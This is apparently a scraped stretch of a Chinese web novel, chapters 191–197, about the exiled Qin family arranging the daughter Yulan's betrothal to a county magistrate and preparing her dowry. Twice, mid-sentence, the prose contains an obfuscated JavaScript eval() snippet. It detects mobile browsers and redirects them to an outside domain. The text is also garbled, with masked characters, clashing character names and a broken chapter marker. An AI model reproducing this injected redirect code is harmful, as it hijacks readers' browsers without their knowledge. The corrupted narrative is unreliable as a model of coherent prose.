一旁的沈良远看着这一幕,心中五味杂陈。他看到秦雨澜躲在嫂嫂们身后,眼中含着羞涩的笑意,那目光一直追随着蒋承志。那是他从未在她脸上见过的神情,明媚而生动。 他终于明白了。 “恭喜蒋大人。”沈良远拱手道,语气真诚。他将手中的荷包轻轻放在石桌上,转身离去。背影里带着几分落寞,却也有释然。 待众人散去,秦老夫人将家人叫到正堂。檀香袅袅,茶香四溢。她环视一圈,目光最后落在秦雨澜身上。 “雨澜已到婚配年龄,蒋大人为人如何, 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“雨澜,你也不必担心。”秦老夫人拍了拍女儿的手,“蒋大人是个明事理的,他若真心待你,必然能理解。” 正说着,外面传来急促的脚步声。丫鬟慌慌张张地跑进来:“老夫人,蒋大人又来了!” 众人面面相觑,不知发生了什么事。 只见蒋承志快步走进正堂,脸上还带着些许风尘仆仆的痕迹。他向众人行礼后,直接开口道:“老夫人,我已请到了媒人,聘礼也已备好。只要您点头,明日就可上门提亲。” 这话一出,连秦老夫人都愣住了。才过去不到一个时辰,他就已经安排好了一切? 看出众人的疑惑,蒋承志解释道:“其实我早就准备好了,只是一直没有合适的机会说出口。今日见沈大人也来了,我怕...”他的声音越来越低,最后化作一声轻咳。 第 秦雨澜听到这话,心中泛起一阵甜蜜。原来他早就有了准备,只是一直在等待合适的时机。 “既然如此,”秦老夫人笑道,“那就依蒋大人的安排。” 蒋承志闻言大喜,又向众人深深一揖:“多谢老夫人,多谢诸位。” 第一百九十一章 当天晚上,秦府上下都沉浸在喜悦中。丫鬟们忙着打扫院子,准备迎接明日的提亲。秦雨澜坐在自己的闺房里,看着铜镜中的自己,脸上还带着淡淡的红晕。 “小姐,”贴身丫鬟暮雪轻声说道,“蒋大人真是用心良苦。奴婢听说,他早就让人准备了聘礼,就放在城外的庄子里。今日一得到老夫人首肯,立刻就派人去取了。” 秦雨澜低头抿嘴一笑,心中满是甜蜜。她想起蒋承志今日的表现,哪里还有往日的从容淡定,倒像个毛头小子似的。 夜深人静,月光如水般洒在庭院里。秦雨澜站在窗前,望着天上的明月,心中却想着另一个人。她知道,从明天开始,她的人生就要翻开新的一页了。 秦老夫人望着窗外的落日,眉头微蹙。暮色渐沉,天边最后一抹红霞也即将消散,仿佛预示着什么。 她的手指无意识地摩挲着茶杯边缘,杯中的茶水早已凉透。这个决定,或许会引起非议,但她别无选择。 “雨澜的婚事,不能再拖了。”她的声音略显疲惫,却透着不容置疑的坚定。 堂内一片寂静,连呼吸声都变得格外清晰。檀香在铜鼎中缓缓燃烧,袅袅青烟在空气中蜿蜒盘旋。 宁芷薇坐在下首,目光落在婆婆布满皱纹的手上。那双手正微微颤抖,显示出主人内心的不平静。她看到婆婆眼中闪过的忧虑,心中了然。自从云峰带人去玄陲打探消息后,至今杳无音信。若真等到七月沧澜先生现身,恐怕一切都晚了。 “娘,您的意思是......”秦远霄轻声问道,声音中带着一丝试探。 秦老夫人放下手中的茶杯,瓷器与木桌相碰发出轻微的声响。“明日蒋大人要来提亲,”她深吸一口气,“我想趁这个机会定下婚期。” 话音刚落,二嫂猛地从椅子上站起,木椅在地上划出刺耳的声响。她的眼泪不受控制地涌出:“娘!相公肯定能安然无恙地归来!”声音中带着几分哽咽。 大嫂虽然没有说话,但眼角也泛起了泪光,手中的帕子被揉搓得皱皱巴巴。 “坐下吧。”秦老夫人轻轻拍了拍二嫂的手,语气温和却不失威严,“我也盼着他们平安。但雨澜的终身大事,不能被这些规矩耽误了。” 宁芷薇默默听着,心中已在盘算嫁妆的事。作为当家主母,这些都需要她来安排。她的目光不经意间扫过窗外,一只麻雀正在枝头跳跃,发出清脆的鸣叫。 界阙里虽有无数珍宝,但也不能太过招摇。毕竟他们是从京城流放而来,表面上只是靠做些小生意度日。一切都要恰到好处,既不能寒酸,又不能引人注目。 “既然娘已经决定,那就这么办吧。”秦远霄开口道,声音沉稳。他对这个准妹夫也算了解,为人踏实,能托付妹妹终身。说话时,他的手指无意识地敲击着桌面,显示出内心并不如表面那般平静。 商议完毕,众人各自散去。脚步声在庭院中回荡,渐行渐远。 宁芷薇站在院中,看着在脚边撒欢的墨圆,忽然想到了什么。小狗正追着自己的尾巴转圈,毛茸茸的身子像个滚动的**球。 五哥每晚都要去兔舍巡视,这样下去总不是办法。夜里寒露重,长此以往恐怕会伤了身子。 她意念一动,界阙里顿时出现了上百只獒犬幼崽。小家伙们挤在一起,**色油亮,眼神机灵。有的在打闹,有的在撒欢,有的则好奇地打量着四周的环境。 墨圆立刻被吸引了注意力,屁颠屁颠地跑过去,开始对着那群小家伙耀武扬威。它昂着头,尾巴翘得老高,俨然一副老大哥的架势。 宁芷薇看着这一幕,嘴角微扬。这些小家伙长大后,正好可以用来看守兔舍。到时候,五哥就不用每晚都去巡视了。 她转身走进屋内,开始仔细规划起雨澜的嫁妆。金银首饰自是少不了,再添置些体面的家具,一应陪嫁也要准备妥当。她在书案前坐下,提笔开始列清单。 笔尖在宣纸上划过,留下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726418|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工整的字迹。宁芷薇时而停笔思索,时而快速书写。窗外的风吹动竹帘,发出沙沙的响声,偶尔有几片落叶随风飘入。 但具体如何安排,还要看蒋承志的聘礼再做定夺。她不能表现得太过阔绰,以免引起不必要的猜疑。一切都要恰到好处,既要让雨澜风风光光地出嫁,又不能暴露家族的底细。 夜色渐深,院中传来墨圆得意的叫声,想必是又在欺负那群新来的小家伙了。月光透过窗棂,在地上投下斑驳的影子。 宁芷薇摇头轻笑,这个小东西,还是这么爱显摆。她放下笔,揉了揉有些酸痛的手腕。清单已经列得差不多了,明天还要去集市上采买一些必需品。 她走到窗前,推开窗户。夜风送来远处的虫鸣,混合着淡淡的芷兰香。天上繁星点点,月色如水,将整个院子笼罩在一片银辉之中。 墨圆不知什么时候已经跑了回来,蹲在她脚边,仰着头看她。那双圆溜溜的眼睛中满是依恋。宁芷薇弯腰摸了摸它的头,柔软的毛发从指间滑过。 “走吧,该休息了。”她轻声说道。 墨圆欢快地叫了一声,跟着她进了屋。远处的更声悠悠传来,又是一天将尽。 宁芷薇站在界阙里,看着眼前一百只活蹦乱跳的边牧幼崽,嘴角不自觉地扬起一抹笑意。阳光透过界阙的结界洒落下来,在地面上投下斑驳的光影,映照着这群小家伙油亮的皮**。 她蹲下身,伸手轻抚其中一只幼崽的脑袋。小家伙立即眯起眼睛,用湿漉漉的鼻子蹭着她的手掌,那温热的触感让她心头一暖。这些可爱的小生命都是她花大价钱从炼物台购买的,只需五天就能长成看家护院的好帮手。 墨圆儿在不远处欢快地打着滚,时而翻个跟头,时而竖起耳朵观察着周围的动静。它那双圆溜溜的大眼睛里闪烁着兴奋的光芒,尾巴也摇得像个不停转动的小风车。 “墨圆儿,”宁芷薇轻声唤道,“过来教教这些小家伙该怎么看家护院。” 第一百九十二章 听到主人的呼唤,墨圆儿立刻停下了玩闹,抖了抖身上的草屑,小跑着来到宁芷薇身边。它挺直了胸膛,神情突然变得格外严肃,仿佛一位即将授课的老师。 边牧幼崽们似乎感受到了墨圆儿身上散发出的威严,纷纷停下嬉戏,整齐地排成几排,眼巴巴地望着这位“老师”。 墨圆儿发出一声清脆的叫声,随即带领着这群“学生”朝着不远处正在悠闲吃草的羊群奔去。羊群被突如其来的动静惊得四散而逃,但在墨圆儿的指挥下,边牧幼崽们很快就掌握了要领,将羊群重新围拢在一起。 宁芷薇靠在一棵大树下,饶有兴致地观察着这场特殊的“课程”。墨圆儿时而示范,时而纠正,那认真的模样让她忍不住莞尔。阳光透过树叶的缝隙洒在她身上,在地上投下斑驳的影子。 不知不觉间,太阳已经西斜。墨圆儿带着这群“学生”完成了一整天的训练,从最基础的围拢羊群,到复杂的驱赶与保护技巧,这些小家伙学得都很快。 “辛苦了。”宁芷薇笑着取出一大盆奶和新鲜的竹笋,“来,这是给我们团子的奖励。” 墨圆儿欢快地扑向美食,那专注的模样像个贪吃的小孩。宁芷薇又给那群小边牧准备了营养丰富的狗粮和维生素,看着它们狼吞虎咽的样子,心里满是欢喜。 她轻轻抚摸着微微隆起的小腹,脑海中不由浮现出未来的画面:这些小家伙们守护着农场,追逐着嬉闹的孩童,构成一幅温馨和谐的画面。 夕阳的余晖染红了天际,宁芷薇决定回到现实世界。刚推开房门,就看到秦远霄和东睿正好从院子里走来。 东睿穿着一身素色长衫,虽然比起从前少了几分王爷的威仪,但多了几分平和与淡然。他看到宁芷薇,立即停下脚步,微微颔首:“九夫人。” “睿王不必多礼。”宁芷薇回以微笑。阳光透过窗棂,在地上投下细碎的光影,映照着室内三人的身影。 “叫我阿睿就好。”东睿摆了摆手,眼神中闪过一丝释然,“我已不是什么王爷了。这段日子的平静生活,反而让我感受到了前所未有的自在。” 宁芷薇看着眼前这个曾经权势滔天的王爷,此刻却流露出如此平和的神情,不由得心生感慨。她点点头:“好,阿睿有什么事吗?” 东睿看了眼一旁默不作声的秦远霄,缓缓道出此行目的:“我和母亲很喜欢这里,想在东麓村定居。” “定居?”宁芷薇微微挑眉,目光在东睿脸上停留片刻。 “是的。”东睿坦然道,“这段时间我仔细观察过,秦家的院子建得极好,想请商智也帮我建一处。至于宅基地的事,我会自己解决。” 秦远霄站在一旁,若有所思地看着东睿。阳光透过窗户洒在东睿身上,为他镀上一层柔和的光晕。这位曾经的王爷,此刻说起定居东麓村时,眼神里竟带着几分向往。 宁芷薇不动声色地打量着东睿。这段时间的相处,东睿母子确实表现得平和自然,没有任何不轨之心。而且东睿性格沉稳,为人处世也颇有分寸,若是能留在村里,或许对村子的发展也有帮助。 正当她思索间,院子里传来一阵欢快的狗叫声。墨圆儿不知何时从界阙里跑了出来,正绕着东睿的脚边转圈,尾巴摇得欢快。 东睿脸上露出温和的笑意,蹲下身轻轻抚摸着墨圆儿的脑袋:“这小家伙倒是越来越亲人了。” 宁芷薇看着这一幕,心中某个想法逐渐明朗。她转头看向秦远霄,后者微不可察地点了点头。 “既然阿睿喜欢这里,”宁芷薇开口道,“那就让商智帮你规划一下吧。正好最近他手上的工程快完工了。” 东睿闻言,眼中闪过一丝喜色:“多谢九夫人。” “不过,”宁芷薇补充道,“建房子是大事,还需要和里正商量一下。” “这是自然。”东睿点头应道,“我会按照村里的规矩来。” 秦远霄这时开口:“我待会儿去找商智,你要一起去看看吗?” “好。”东睿欣然应允。 看着两人离去的背影,宁芷薇若有所思。东麓村的发展一天比一天好,吸引了越来越多的人前来定居。这或许就是她想要的,一个充满生机与活力的新家园。 她转身回到房间,打开界阙查看那群边牧幼崽。小家伙们已经在墨圆儿的带领下列队休息,整齐的队形看起来颇为可爱。 宁芷薇轻轻 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东睿端起茶盏,却迟迟没有饮下。他的手指在杯沿上轻轻摩挲,眼神闪烁,“是...商大哥说这些建造方法都是九夫人研究出来的,让我先来请教。” “商大哥这人做事一向谨慎。”宁芷薇轻笑着摇了摇头,“不过这建房之事,原本就该互帮互助,我们自然不会阻拦。” 东睿眼前一亮,放下茶盏,“那...那处山脚下的宅基地...” 话未说完,就见宁芷薇面露歉意,“抱歉,那块地我们已有规划,是要建牧场的。” 东睿的脸色瞬间暗淡下来,指节不自觉地攥紧了衣袖。那处地势平坦,靠近水源,确实是建房的绝佳位置。 “村里还有许多好地方,”宁芷薇见状安慰道,“你可以去找找看。若是需要帮忙,尽管开口。” 正说着,院外突然传来一阵喧哗声。远处锣鼓齐鸣,鞭炮声此起彼伏,整个东麓村都沸腾了起来。 宁芷薇循声望去,只见一队人马正缓缓向这边行来。为首的骑着一匹枣红马,正是身着大红喜服的蒋承志。他身后跟着十几名仆从,抬着大大小小的聘礼盒子,还有吹吹打打的乐队,好不热闹。 第一百九十三章 村里人纷纷走出家门,三三两两地聚在路边指指点点。 “这是县令大人要提亲?”一个老妇人压低声音问道。 “瞧这阵仗,怕是要娶个体面人家的姑娘。”旁边有人答道。 “往吴家方向去了,莫非是吴家的小姐?”又有人猜测。 眼看着队伍越过吴家大门,在秦家门前停下,众人这才恍然大悟——原来是秦家的小姐要嫁给县令大人。 宁芷薇站在院中,看着这热闹的场面,眉头不自觉地蹙了蹙。她转头望向廊下,只见秦雨澜正站在那里,俏脸微红,双手紧紧攥着衣角。 “澜儿,”宁芷薇轻声唤道,“你先回房去吧。” 秦雨澜咬了咬唇,转身快步走进内室。她的背影有些仓促,却依旧保持着大家闺秀的优雅。 东睿识趣地起身告辞,临走时还能听见村民们的议论声。 “谁能想到啊,秦家这个刚来没多久的外来户,竟然攀上了这么大的亲事。” “可不是嘛,这下秦家可要飞黄腾达了。” “听说秦家小姐生得极美,难怪能入了县令大人的眼。” 秦雨澜刚来东麓村时,总是穿着粗布衣裳跟在几位嫂嫂身边,村里人对她的印象并不深刻。她像一片随风飘落的叶子,悄无声息地融入这片土地。 后来定居下来,她更是深居简出,连去芝圃都是裹得严严实实。村里人偶尔能瞥见她的身影,却只看到一个被布料层层包裹的纤细轮廓,在晨雾中若隐若现。 秦家人也从未刻意提起过家中还有个适龄的姑娘。即便是在村头茶寮闲聊时,几位秦家兄长也只字不提妹妹的事。以至于村里人都不知道秦家竟有这样一位待字闺中的女儿。 直到今日,县令大人亲自带着浩浩荡荡的提亲队伍来到秦家,村民们才不得不信,原来秦家真的藏着这样一位千金小姐。街坊四邻纷纷探出头来,窃窃私语中满是惊讶与好奇。 鼓乐声震天,彩旗飘扬。十几面大红绸缎的旗帜在微风中猎猎作响,将整条村道染上了一片喜庆的红色。锣鼓声此起彼伏,敲击出喜庆的节奏。 蒋承志骑在马上,额头渗出细密的汗珠。他下意识地抬手擦了擦,又急忙整理了一下官服的衣领。这位年轻的县令大人,此刻竟比上任第一天还要紧张。 “怎么会这样......”他在心里暗自嘀咕,“堂堂一县之令,竟会因为提亲而紧张成这样。” 马蹄声渐缓,秦家的大门近在眼前。蒋承志深吸一口气,抬手示意鼓乐停下。院外顿时安静下来,只剩下几面彩旗在风中轻轻摆动的声响。 官媒笑容满面地跟在他身后,脸上的褶子都舒展开来:“大人莫要紧张,老身办过这么多年的婚事,还从未见过比您更般配的一对呢。” 蒋承志勉强挤出一丝笑容,却掩饰不住眼底的忐忑。一行人鱼贯而入,抬着聘礼的官差整齐列队,依次进入院中。朱漆描金的聘礼箱在阳光下熠熠生辉,引得墙头上的村妇们连连惊叹。 今日恰逢秦家新房上梁,院子里格外冷清。除了腿伤未愈的四哥秦修远,其他人都去了雅园那边观礼。 “是谁?”秦修远的声音从房内传来,带着几分病中的虚弱。 蒋承志轻车熟路地找到四哥的房间,抬手轻叩房门。木门发出沉闷的响声,他清了清嗓子:“四哥,是我,蒋承志。专程前来与墨小姐论终身大事。” “孟兄弟?”门内传来一阵窸窣声,“快请进。” 推门而入,扑面而来的药香让蒋承志微微蹙眉。他先是抱拳行礼:“打扰四哥休息了。”目光落在床榻上的秦修远身上,见他脸色略显苍白,不由得关切道:“伤势可好些了?” “无妨,快请坐。”秦修远摆摆手,示意蒋承志不必拘礼。 可蒋承志哪有心思坐下,他站在原地,手指无意识地摩挲着衣袖:“四哥,家里人可是都去雅园那边了?” 四哥看着他焦急的模样,想起自己当年提亲时 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蒋承志正被秦家独特的建筑风格吸引,那飞檐翘角间隐约可见的机关痕迹,让他不禁想起了传闻中秦家的能工巧匠。闻言连忙收回目光:“八哥,我是来提亲的。” 话音未落,震耳欲聋的鞭炮声响起。火光四溅中,红色的纸屑纷纷扬扬,如同一场喜庆的雨。 上梁仪式很快结束,众人转身准备去准备宴席,这才发现蒋承志站在人群后方。他的官服在一片素色布衣中格外显眼,引来不少好奇的目光。 “恭喜、恭喜。”蒋承志上前道贺,随即迫不及待地说明来意,“老夫人,我已备好聘礼,不知何时方便向墨姑娘提亲?” 秦老夫人目光柔和,做出邀请的姿态:“蒋大人,我们回家细谈。”她的声音不疾不徐,却让蒋承志紧张的心稍稍安定了些。 几位兄长纷纷跟上,或是交头接耳,或是默默观察着这位未来的妹夫。秦远霄则扶着宁芷薇走在最后,两人耳语几句,眼中都带着笑意。 第一百九十四章 “这有何难?”他微笑着说道,目光柔和,“我正想在东麓村置办一处宅院,不如就依着秦家雅园的样式来建。这样,你既可以照料芝圃,又不必舟车劳顿。” 此言一出,众人的目光不约而同地看向宁芷薇。雅园的设计独特,处处都透着巧思,这都是出自她的手笔。那些新奇的设计,在整个京城都引起了不小的轰动。 宁芷薇端坐在椅上,轻抚着手中的青瓷茶杯。阳光透过窗棂,在她脸上投下细碎的光影:“既是如此,让我秦家一手包办得了,就当是雨澜的嫁妆。” “这...”秦老夫人面露难色,手指无意识地摩挲着拐杖。那雅园用的材料都是稀罕物,光是那些玻璃窗就价值不菲。更何况家中还有其他八个儿媳,这般厚待小女儿,难免会惹人闲话。 宁芷薇似乎看出了婆婆的顾虑,放下茶杯,轻声道:“娘不必担心,这是我和相公的私房钱,不动用家中公账。再说,雨澜这些日子跟着我学习药理,那些药材的价值,可不比一座宅院差。” 秦老夫人心下一松,却又觉得不妥:“怎能让你们...”话未说完,便被宁芷薇打断。 宁芷薇望着婆婆慈祥的面容,眼中闪过一丝坚定:“娘,不论是谁掏这笔钱,绮园就是雨澜的嫁妆。” 宁芷薇起身走到秦老夫人身边,扶着她的手臂,“雨澜是我们秦家唯一的女儿,这嫁妆自该丰厚些。再说,我们夫妻俩也早有此意。” 秦老夫人轻轻拍了拍儿媳妇的手,眼角泛起笑纹:“你这孩子,总是这么为雨澜着想。” 堂内的气氛渐渐缓和,秦老夫人看着小女儿期待的眼神,又想到这些日子她在芝圃里忙碌的身影,心中不禁有些感慨。从小到大,这个女儿总是与众不同,现在竟然对药理也如此上心。 “那...”秦老夫人轻叹一声,“我这里也有些私房,一起添补进去吧。” 秦雨澜看着众人为自己的任性妥协,眼眶微红。她偷偷瞥了眼蒋承志,见他眼中尽是温柔,心中涌起一股暖意。 这时,外面传来一阵脚步声,管家匆匆走进来:“老夫人,九爷回来了。” 话音刚落,秦远霄的身影便出现在门口。他身上还带着风尘仆仆的气息,显然是刚从外面赶回来。 “九哥。”秦雨澜唤了一声,声音里带着几分欣喜。 秦远霄点点头,目光扫过堂内众人,最后落在蒋承志身上:“听说你要在东麓村建宅院?” 蒋承志拱手行礼:“正是。不知秦兄可有什么建议?” 秦远霄走到桌前,取过宁芷薇倒的茶水抿了一口:“东麓村地势较高,建宅院倒是个好去处。不过那边常年风大,建造时需要特别注意。” 宁芷薇眼睛一亮:“若是这样,不如让相公帮着看看?他对这些最在行。” 秦远霄放下茶杯,淡淡道:“也好。” 看着眼前的一幕,秦雨澜心中涌起一股暖流。她知道,九哥虽然表面冷淡,但心里还是关心她的。这座即将建造的宅院,承载着所有人的心意。 夕阳西下,晚霞染红了半边天。堂内的人影渐渐拉长,交织在一起,仿佛编织出一幅温馨的画卷。 蒋承志觉 这嫁妆实在太重了些。犹豫片刻,他上前一步:“老夫人,九嫂,宅子的事情还是让我来办吧。” “这怎么行!”宁芷薇急忙打断,“雨澜是我们秦家的姑娘,嫁妆自然该我们准备。”她这几日可是绞尽脑汁想着给小姑子准备什么嫁妆,好不容易定下来,怎能让蒋承志推辞了去。 秦远霄眉头微皱:“蒋兄弟,嫁妆是娘家人的心意,就这么定了。”语气不容置疑。 蒋承志看了看秦雨澜低垂的眉眼,终是叹了口气:“那就多谢九哥了。” 一旁的秦雨澜始终低着头,长长的睫毛微微颤动,脸颊泛起淡淡的红晕。她偷偷瞄了眼蒋承志,见他神色温和,心中暗暗欢喜。 “今日可是双喜临门啊!”秦老夫人及时打圆 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梁天河和段承义却认出了东睿,吓得面色发白。他们正要上前行礼,却被秦远霄及时拦住。 “两位叔叔,”秦远霄压低声音,“装作没见过这号人,改日我再详细解释。” 两人这才松了口气,强作镇定地入座。东睿感激地看了秦远霄一眼,随即被秦老夫人请去上座。 雅妃看着眼前的热闹景象,不禁想起当年在宫中的日子。那时的她,何曾想过有朝一日会坐在这乡间小院,与这些质朴的村民同席而坐。 秦瑾高代表秦家致谢后,饭局总算是开席了。村民们因为蒋承志在场,显得有些拘谨,默默地吃着饭菜。偶尔有人悄悄打量这位未来的姑爷,又赶紧低下头。 梁天河和段承义因为顾忌东睿,草草吃完就告辞了。对于睿王为何会在此,他们识趣地没有多问。临走时,两人还不忘叮嘱家人也要守口如瓶。 第一百九十六章 宴席渐渐热闹起来,酒过三巡,村民们的拘谨也消散了不少。有人开始打趣蒋承志,问他是如何与秦雨澜相识的。 蒋承志笑而不答,目光却不自觉地寻向秦雨澜。只见她正在帮着收拾碗筷,察觉到他的视线,连忙低下头,耳根都红了。 秦雨澜看着满座宾客,听着此起彼伏的笑声,心中充满幸福。这一刻,她感受到了前所未有的温暖与归属感。 夜幕降临时,宾客们才渐渐散去。秦老夫人拉着雅妃的手,久久不愿松开。东睿在一旁静静等候,眼中闪过一丝复杂的情绪。 “姐姐,”雅妃轻声道,“我们改日再来看你。” 秦老夫人点点头,目送两人离开。直到他们的身影消失在夜色中,她才收回视线,脸上浮现出一抹疲惫。 宁芷薇见状,连忙扶着婆婆回房。秦远霄则带着蒋承志去书房,商议婚事的细节。 秦雨澜站在院子里,抬头望着满天繁星。春日的晚风轻轻拂过她的面颊,带来一丝凉意。她想起方才宴席上的种种,嘴角不自觉地扬起。 “在想什么?”蒋承志的声音突然在身后响起。 秦雨澜吓了一跳,转身就要跑,却被他轻轻拉住了手腕。 “别怕,”蒋承志低声道,“我只是想告诉你,不管嫁妆多少,我都会好好待你。” 秦雨澜心跳加快,却还是鼓起勇气道:“我知道的。” 月光下,两人的身影渐渐靠近,仿佛要融为一体。远处,秦远霄站在廊下,看着这一幕,终于放下心来。 上梁宴散场时,天色已近申时。 庭院里残留着宴席的喧嚣,桌椅东倒西歪,地上散落着酒杯碎片和剩菜。宾客三三两两告辞离去,蒋承志见目的已达,嘴角挂着若有若无的笑意,带着官差和媒婆一同离开。 “这场宴席可真是...”秦老夫人坐在主位上,眉头微蹙,话未说完便叹了口气。 宁芷薇站在一旁,看着满地狼藉,心里也不是滋味。她轻声安慰道:“娘,别担心,我这就让人收拾。” “芷薇,你有身孕,别操劳了。”秦远霄拉住妻子的手,眼中满是心疼。 “我没事的。”宁芷薇摇摇头,转身吩咐下人打扫。 院子里忙碌一片,丫鬟们来回穿梭,收拾着残局。秦家几个儿媳也都撸起袖子帮忙,直到夜幕降临才将一切收拾妥当。 次日清晨,晨露未干,宁芷薇就早早起床。她轻手轻脚地穿好衣服,转身却看见秦远霄也醒了。 “这么早?”他坐起身,目光柔和。 “想去山脚下看看地形。”宁芷薇一边系着腰带,一边说道,“总要给小姑子准备好住处。” 秦远霄快速穿戴整齐,跟着她下了楼。清晨的空气格外清新,远处的山峦笼罩在薄雾中,朦胧如画。 来到西侧空地,宁芷薇仔细打量着周围环境。这块地原本是她预留的作坊用地,地势平坦,视野开阔,倒是个建房的好去处。 “这里不错。”她站在空地中央,目光流转,“向阳避风,离主院也不远。” 秦远霄看着她认真思索的模样,嘴角不自觉上扬:“要不要把商智叫来看看?让他给出个专业意见。” “也好。”宁芷薇点头,“正好让他一并规划。” 不多时,商智匆匆赶来。这位能工巧匠听完夫妻俩的想法,立刻兴致勃勃地在地上比划起来。 “夫人放心,”他拍着胸脯保证,“材料都有剩余,再建一座同样的院子不成问题。我让工匠们加把劲,一个月内,保证与其他院子同时完工。” 宁芷薇满意地点点头,又想起一事:“对了,家具的事情也得提前准备。” 回到界阙,她坐在书桌前开始画图纸。阳光透过窗棂洒在纸上,秦远霄就在她身边,时不时给她递上切好的水果。 “张嘴。”他拿着一块苹果,声音温柔得能掐出水来。 宁芷薇抬头,樱唇轻启,咬下一小口。秦远霄的目光不由自主地停在她的唇上,喉结滚动。两个月的禁欲生活让他格外煎熬,每每看到妻子的娇态,他都想将她搂入怀中。可一想到她隆起的小腹,他又不得不压下心中的欲望。 “你看这样如何?”宁芷薇将画好的图纸递给他,打断了他的胡思乱想。 图纸上是改良版的家具设计,保留了实木本色,却巧妙融入了现代元素。拉门式衣柜既实用又节省界阙,箱式木床下方暗藏收纳界阙,简约桌椅线条流畅,还有几款适 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“这设计很好。”她终于开口,“既保留了我们秦家的传统,又照顾到年轻人的喜好。芷薇,你有心了。” 听到婆婆的夸奖,宁芷薇心中一暖。她知道,秦老夫人这是在用自己的方式表达认可。 老夫人沉默片刻,缓缓道:“我这把老骨头,还是喜欢旧物件。你们年轻人若是喜欢,便用着吧。” 这话一出,仿佛打开了闸门。几位嫂子纷纷涌了过来。 “母亲!”二嫂一脸惊喜,“您真的同意了?” 二嫂吐了吐舌头,转而拉着宁芷薇的手:“九弟妹,这家具真是别致!我们雅园子就要用这样的!” 三嫂也凑了过来,手指轻点图纸:“这设计真是巧妙,摆在屋里一定好看。” 八嫂轻推着秦雪松的胳膊,撒娇道:“夫君,我们也要。” 秦雪松宠溺地点头:“都依你。” 其他几位嫂子也纷纷开口,连害羞的小姑秦雨澜都红着脸说要用新式家具。 宁芷薇看着眼前热闹的场景,心中熙熙的。这就是家人的支持,比什么都珍贵。 第一百九十七章 宁芷薇看着众人热切的目光,心中盘算着要不要多做几套。正想着,忽然感觉腹中一动,她轻轻抚上小腹,嘴角露出温柔的笑意。 秦远霄立刻察觉到她的异样,关切地问:“怎么了?是不是不舒服?” “没事,”宁芷薇摇摇头,“孩子在动。” 一家人的注意力立刻被转移,纷纷围过来,脸上都带着期待的笑容。秦老夫人更是亲自起身,走到宁芷薇身边,慈爱地拍着她的手。 “这孩子,”她笑道,“怕是跟他娘一样聪明。” 夜深人静,宁芷薇躺在床上,回想着这一天发生的事。她知道,自己的一举一动都牵动着这个大家庭的的心。但好在,她的付出得到了认可,这让她对未来充满信心。 秦远霄从身后搂住她,轻声问:“在想什么?” “在想家具的事。”宁芷薇转过身,“我准备多做几套,让大家都换新的。” “你啊,”秦远霄刮了刮她的鼻子,“就是太为别人着想。” “这不是应该的吗?”宁芷薇依偎在他怀里,“我们是一家人。” 秦远霄没有说话,只是将她搂得更紧了些。月光透过窗棂洒进来,为这温馨的一幕镀上一层银辉。 夜里,她和秦远霄进了界阙,砍伐梨木。月光下,两人配合默契,很快就准备好了足够的木料。 “明日一早,我们就去宁远。”秦远霄擦了擦额头的汗,“先把木料放到租的院子里。” 宁芷薇点头:“嗯,到时候再找木匠来做。” 第二天一早,两人驾着马车出发。初夏的晨风带着清新的草木气息,宁芷薇坐在车辕上,享受着难得的清闲。 将木料安置在租来的院子后,两人准备在街上转转,以免引人怀疑。 街上熙熙攘攘,小贩的吆喝声此起彼伏。宁芷薇挽着秦远霄的胳膊,看着街边琳琅满目的货物,心情愉悦。 “要不要买些糖果带回去?”秦远霄问道,“雨澜最喜欢吃糖。” 宁芷薇正要答应,却发现秦远霄的脚步突然一顿。 她顺着他的目光看去,只见两个普通男子正在向路边摊贩打听什么。这两人穿着普通,举止也很寻常,但总给人一种说不出的违和感。 “怎么了?”她低声问道。 秦远霄凑到她耳边,气息温热:“看他们的鞋子。” 这一看不要紧,宁芷薇心头一惊。鞋面上那个不起眼的弯月纹样,分明是东陲人的标志。自从上次沧澜的事情后,东陲人就再没出现过,怎么会突然来到宁远? 两人装作买东西,走到那摊贩面前。宁芷薇掏出一把铜钱,轻声问道:“那两人问什么?” “他们打听东麓村呢。”摊贩笑眯眯地收下铜钱,“看着像是外地来的商人。” 宁芷薇心中一沉。东陲人找到这里来,怕是没安好心。上次沧澜的事情虽然解决了,但显然他们并不甘心就此罢休。 “夫君,你跟上去。”她拍了拍秦远霄的手,“我去找八哥,衙门就在附近。” 秦远霄点头,叮嘱道:“小心些。” 宁芷薇快步往衙门走去,心中盘算着对策。东陲人若是真要找麻烦,光靠他们两个怕是应付不来。 正巧遇到秦雪松带队巡逻归来。 “九弟妹?”秦雪松翻身下马,疑惑地看着她。 宁芷薇将事情简单说明,秦雪松的脸色立刻沉了下来。 “又是东陲人。”他咬牙道,“看来是非要与我秦家死磕到底。” “八哥,夫君一个人跟着他们......”宁芷薇担忧道。 “我这就带人去接应。”秦雪松果断道,转身吩咐手下准备,“你在这里等着,我让人送你回村。” 宁芷薇摇头:“我也去。” 她知道自己现在身子不便,但更担心秦远霄的安危。况且,若是真遇到危险,她还有界阙可以躲避。 秦雪松皱眉:“你这样......” “八哥。”宁芷薇打断他的话,“我不会添乱的。” 秦雪松看她坚持,只得同意。并找来一辆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737025|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马车让宁芷薇坐上去。 然后带着衙役快速赶往秦远霄离开的方向。街道渐渐偏僻,行人也少了起来。 宁芷薇的心提到了嗓子眼。她知道,这一次的较量,恐怕不会那么简单。 一行人不久就追上了秦远霄。 